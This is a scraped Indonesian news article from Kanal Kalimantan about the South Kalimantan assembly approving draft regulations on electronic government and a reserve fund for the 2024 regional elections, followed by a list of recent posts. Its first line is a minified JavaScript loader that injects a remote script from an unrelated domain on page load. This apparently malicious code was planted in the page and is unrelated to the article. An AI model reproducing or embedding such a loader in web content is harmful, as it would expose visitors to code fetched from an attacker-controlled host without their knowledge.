(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Dewan Setujui Raperda SPBE dan Dana Cadangan Pilkada 2024


KANALKALIMANTAN.COM, BANJARMASIN – Seluruh Fraksi DPRD Kalsel memberikan persetujuan terkait Rancangan Peraturan Daerah (Raperda) Penyelenggaraan Sistem Pemerintah Berbasis Elektronik (SPBE) dan Raperda Pembentukan Dana Cadangan Pilkada 2024 untuk ditetapkan menjadi Peraturan Daerah (Perda).

Hal itu terungkap dalam Rapat Paripurna DPRD Kalsel di Ruang Rapat H Mansyah, Kamis (22/7/21). Raperda mengenai dana cadangan Pilkada 2024 khususnya, merupakan usul Pemprov Kalsel.

Sebelumnya, Senin (19/7/21), Pj Gubernur Kalsel Safrizal ZA, menjelaskan Kalsel akan melaksanakan Pemilihan Kepala Daerah dan Wakil Kepala Daerah secara serentak pada tahun 2024. Hal demikian membutuhkan alokasi anggaran yang cukup besar, sehingga perlu persiapan mekanisme dana cadangan.

Menanggapi Raperda tersebut, seluruh Fraksi DPRD Kalsel menyatakan dukungannya. Perwakilan dari Partai Kebangkitan Bangsa, Suripno Sumas, juga menyampaikan beberapa saran.

 

 

Baca juga: WASPADA. Rekor Baru Covid-19 Kalsel Hari Ini Tembus 650 Orang, Banjarmasin Sumbang 245 Kasus!

“Jumlah yang dianggarkan harus proporsional sehingga tidak menimbulkan beban yang terlalu besar bagi APBD,” paparnya.

Terkait Raperda SPBE Aris Gunawan, perwakilan dari Partai Gerindra turut mengungkapkan dukungannya.

“Kami menyambut baik untuk dilaksanakan prinsip good governance,” ucapnya.

Sekdaprov Kalsel Roy Rizali Anwar, hadir mewakili Pj Gubernur Kalsel Safrizal ZA. Dalam rapat tersebut, juga disampaikan pendapat gubernur terhadap Raperda Manajemen Jalan dan Fasilitas Pendidikan Tinggi.

Menurut Roy Rizali, jika menyangkut kewenangan pemerintah pusat, maka arahan pemerintah pusat sangat diperlukan.

“Agar pada saat kedua Raperda ini ditetapkan menjadi Perda, benar-benar implementatif. Serta tidak menimbulkan tumpang tindih pengaturan dengan kebijakan pusat,” jelasnya.(Kanalkalimantan.com/dewi)

Reporter: dewi
Editor: cell


Risa

Recent Posts

Kritik Standar Etika Pejabat: Jalur Pintas hingga DPR Jadi ‘Dewan Perwakilan Partai’

KANALKALIMANTAN.COM, JAKARTA - Direktur Lingkar Madani (LIMA) Indonesia, Ray Rangkuti, melontarkan kritik pedas terhadap merosotnya… Read More

23 menit ago

98 Usulan Infrastruktur dari Musrenbang Halong

KANALKALIMANTAN.COM, PARINGIN – Permintaan pembangunan infrastruktur mendominasi Musyawarah Perencanaan Pembangunan (Musrenbang) Kecamatan Halong yang membahas… Read More

30 menit ago

Digitalisasi Pajak Lewat Bimtek Aplikasi SAPAT Kolaborasi BPPRD Banjarbaru – Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru terus mempercepat transformasi digital dalam tata kelola keuangan daerah.… Read More

14 jam ago

Apresiasi Pemko Banjarmasin untuk Pembagian 2.500 Sepatu

KANALKALIMANTAN.COM, BANJARMASIN - Kota Banjarmasin menjadi lokasi kegiatan berbagi 2.500 sepatu ke anak sekolah oleh… Read More

18 jam ago

Unjuk Rasa Menuntut Solusi Banjir Kalsel di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rakyat Peduli Negara dan Bangsa (Forpeban) Kalimantan Selatan (Kalsel) menggelar unjuk… Read More

18 jam ago

PUPR Kalsel Beberkan Rencana Pembangunan Jembatan Barito Dua

KANALKALIMANTAN.COM, BANJARBARU - Pemprov Kalsel fokus pada penyusunan dan peninjauan detail engineering design (DED) sebagai bagian… Read More

19 jam ago

This website uses cookies.